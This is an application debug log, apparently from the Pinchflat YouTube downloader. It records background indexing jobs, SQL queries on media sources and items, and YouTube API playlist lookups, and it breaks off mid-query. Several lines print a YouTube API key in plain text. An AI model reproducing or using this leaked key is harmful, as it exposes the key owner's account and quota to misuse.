{"args":{"id":3},"id":5268307,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":365369,"event":"job:stop","queue_time":397119,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:15.321 [info] {"source":"oban","duration":9818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 16:55:41.506 [info] {"args":{"id":27},"id":5268308,"meta":{},"system_time":1791582941506593686,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:41.506 [debug] QUERY OK source="sources" db=0.1ms idle=1159.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [27] 16:55:41.507 [debug] QUERY OK source="settings" db=0.0ms idle=1160.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:41.507 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:55:41.507 [debug] QUERY OK source="settings" db=0.1ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:41.507 [debug] Fetching recent media IDs from YouTube API for playlist: UUJ0-OtVpF0wOKEqT2Z1HEtA 16:55:41.507 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:41.507 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:55:41.700 [debug] QUERY OK source="media_items" db=0.6ms idle=193.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [27, "Tuxgh8SrzbQ", "DWAMwfM2DrM", "-TvOCDbhCWk", "WAeTROAfSTs", "nhbeaHuZMQ0", "Se1NPlfUCss", "kSPrY4NHqow", "dpNfJm2Ql90", "mIBhWgYWVPA", "P4351ixgP4M", "X2qcTrprMqE", "GEhwXAIjDls", "_5aHHg4A_vY", "xeRSef7jMYc", "nz6sgR01Tt8", "bmFRqSs1QAM", "EBgxa8OzjB8", "F-CFdCp0xaw", "lt07jcPvG2Y", "dy0WZVpyiTM", "vY0-eZ-GGEg", "sWGUo_iiaZE", "HhRgPVNQLww", "yxEh9tnRTbY", "MwTaGjsdxU4", "bdR4HyeABfA", "dJtzXpW15HI", "mqt_FdmDq4k", "DhvkZ8pmXlc", "m51SX5cz9ow", "AsJquvKz07E", "ZsdV3VEyQxY", "vlHmd2-PlfE", "fwLan9mLJLQ", "56Eq3EMYX68", "PB-4WqzXzoA", "lT1v5RdCl6s", "bIMQO0Q4iRc", "YcfKFfOQ9W8", "u8s9hpjN25Y", "rlyU9AMaq9g", "rg1xXCzLdQ0", "myh9AZRK6hI", "qRc9W2ss-GE", "uz6xrE8WZHc", "WnNVgRyWUi8", "ub-Qr2U4DzA", "OSCKBmkrH_g", "2Yjiwz5sxzE", ...] 16:55:41.702 [debug] QUERY OK source="media_items" db=0.8ms idle=194.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [27] 16:55:41.703 [debug] QUERY OK source="tasks" db=0.1ms idle=195.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268349, 27, ~U[2026-10-09 21:55:41Z], ~U[2026-10-09 21:55:41Z]] 16:55:41.703 [info] {"args":{"id":27},"id":5268308,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":196607,"event":"job:stop","queue_time":615529,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:42.507 [info] {"args":{"id":18},"id":5268309,"meta":{},"system_time":1791582942507231058,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:42.507 [info] {"args":{"id":1},"id":5268310,"meta":{},"system_time":1791582942507263169,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:42.507 [debug] QUERY OK source="sources" db=0.2ms idle=804.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [18] 16:55:42.507 [debug] QUERY OK source="sources" db=0.2ms idle=804.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:55:42.507 [debug] QUERY OK source="settings" db=0.1ms idle=798.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:42.508 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:42.508 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:55:42.508 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:55:42.508 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:42.508 [debug] Fetching recent media IDs from YouTube API for playlist: UUQ5w3fSomzziZfO7neK7eAg 16:55:42.508 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:42.508 [debug] Fetching recent media IDs from YouTube API for playlist: UUXuqSBlHAE6Xw-yeJA0Tunw 16:55:42.508 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:42.508 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:55:42.508 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:42.508 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:55:42.734 [debug] QUERY OK source="media_items" db=0.7ms idle=225.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [18, "cmwW_7Abt1U", "4uSSn65kjoY", "VvVF9MpNKOM", "K62b5JcIyws", "7YMs4CC-4fg", "LKW7jxxzgY0", "3uAJj9IG5L0", "laNbCG1X0bc", "KAa-oD5ip6g", "o3gI3hJ8y9g", "QZZCVVpRPCw", "fYQ-7t0NVSY", "OkMhgv-LVFs", "UrimWxUfPYM", "JYT2by9OsNU", "Nre7c3KGDLI", "Jn_mEQzU2uU", "vgM7E9gyyfA", "-yzDkpEFPso", "P3hLiuMw06E", "1Lj_Vx_YLic", "MMMREpB4_Uw", "jTCzE-t_zwM", "lboQeOpiHDQ", "TW0E1KFVuFY", "7VFv3s7gpdU", "vyYSPIfCLdc", "nNNs5FtLnTc", "qo9gdGAdTVs", "prdfB6Ajd-0", "ivSZoARtMtU", "fOr5r_a3n5c", "PDJdtrrXlBc", "MAw0IOv6g2I", "VY4oO2EoURA", "TJ9QPLFRwgU", "SL3I3HRltxY", "JKDISzBlzow", "3rd0HjHoQzE", "7xwicE-ysdA", "09a59YumUcI", "0tmYqrYddLY", "VNnyrwFoIkg", "m-Wt81X5Z4k", "rftUQzr5MNY", "pXjsYsJR8eU", "prJa6chyjqQ", "e8MxxudBYHk", "a_0XQWA15FI", ...] 16:55:42.736 [debug] QUERY OK source="media_items" db=0.9ms idle=227.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [18] 16:55:42.737 [debug] QUERY OK source="tasks" db=0.1ms idle=228.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268350, 18, ~U[2026-10-09 21:55:42Z], ~U[2026-10-09 21:55:42Z]] 16:55:42.737 [info] {"args":{"id":18},"id":5268309,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":230032,"event":"job:stop","queue_time":519941,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:42.905 [debug] QUERY OK source="media_items" db=0.7ms idle=168.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "LttGyjX-QxE", "t28bEMboL9Y", "ijFSEb2W6_8", "79s8O7Cipl0", "1H20xp8Brnc", "y1hZ3EalPQU", "zH9bqwNShiM", "1gxnANAbLuE", "Fx0x3oI_ngo", "DLOQOUWmRpI", "p-EXFD_DHmc", "XM04mbymDsE", "GaX0frxNwfQ", "SuIhqDP2VHw", "Z1sqWFs86uU", "pJWqvVnDT0A", "qgLaCZyKv_8", "Zzzkg_ZrOII", "zg-rMHEqg-4", "3xngArcFpek", "y9rtvIUjVQw", "3PGKMwgjla0", "i_nj_vkD03g", "pvSdeU13hKc", "_p331WEfEIs", "VfQdPRyqQW4", "n5wuk8Uci_4", "sL6OWsT47zc", "FYDvDoxBU6c", "2KztkwBYD68", "nZwdIPg7N3A", "lmLh29LE2W4", "MtkoClsRvCU", "X8sgBpmdCT8", "fX-g6XNrkiA", "81wg425C8z0", "LYMvJW5rYME", "RC138pD_7_s", "yFJDP7OinRM", "tklAv8hcG9s", "oeqUHEp4sYM", "H4BKUbtCmp0", "ZWCAXHNOIcA", "DXK-F0SjC_E", "04MFcE-ntxQ", "QfCW5bXvwII", "36oL-7C_qR4", "AHP423JqiLc", "vzg5cv785j4", ...] 16:55:42.918 [debug] QUERY OK source="media_items" db=11.8ms idle=169.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 16:55:42.919 [debug] QUERY OK source="tasks" db=0.1ms idle=175.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268351, 1, ~U[2026-10-09 21:55:42Z], ~U[2026-10-09 21:55:42Z]] 16:55:42.919 [info] {"args":{"id":1},"id":5268310,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":412011,"event":"job:stop","queue_time":293289,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:43.509 [info] {"args":{"id":16},"id":5268311,"meta":{},"system_time":1791582943509219474,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:43.509 [info] {"args":{"id":5},"id":5268312,"meta":{},"system_time":1791582943509281619,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:43.509 [debug] QUERY OK source="sources" db=0.1ms idle=590.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [16] 16:55:43.509 [debug] QUERY OK source="sources" db=0.1ms idle=590.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 16:55:43.509 [debug] QUERY OK source="settings" db=0.1ms idle=583.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:43.509 [debug] QUERY OK source="settings" db=0.1ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:43.510 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:55:43.510 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:55:43.510 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:43.510 [debug] Fetching recent media IDs from YouTube API for playlist: UUBa659QWEk1AI4Tg--mrJ2A 16:55:43.510 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:43.510 [debug] Fetching recent media IDs from YouTube API for playlist: UUWFKCr40YwOZQx8FHU_ZqqQ 16:55:43.510 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:43.510 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:55:43.510 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:43.510 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:55:43.644 [debug] QUERY OK source="media_items" db=0.6ms idle=133.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [16, "drrUvxtT6lU", "pZtU48TjxXg", "AQqVcdTH5bQ", 